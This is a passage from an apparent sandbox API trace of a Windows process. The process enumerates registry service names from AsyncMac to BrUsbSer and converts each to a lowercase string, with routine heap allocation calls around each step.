lpUsedDefaultChar=0x0) returned 12 [0253.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.485] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0253.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0253.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.485] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0253.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0253.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.485] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0253.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0253.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1c40, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0253.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.486] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0253.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0253.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.486] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0253.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0253.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.486] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0253.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0253.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.486] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0253.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0253.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.487] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0253.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0253.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.487] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0253.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0253.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.487] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0253.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0253.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.487] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0253.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0253.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.488] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0253.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0253.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.488] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0253.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0253.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.488] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0253.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0253.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.489] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0253.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0253.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.489] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0253.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0253.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.489] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0253.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0253.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.489] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0253.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0253.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.490] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0253.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0253.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.490] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0253.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0253.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.490] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0253.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, 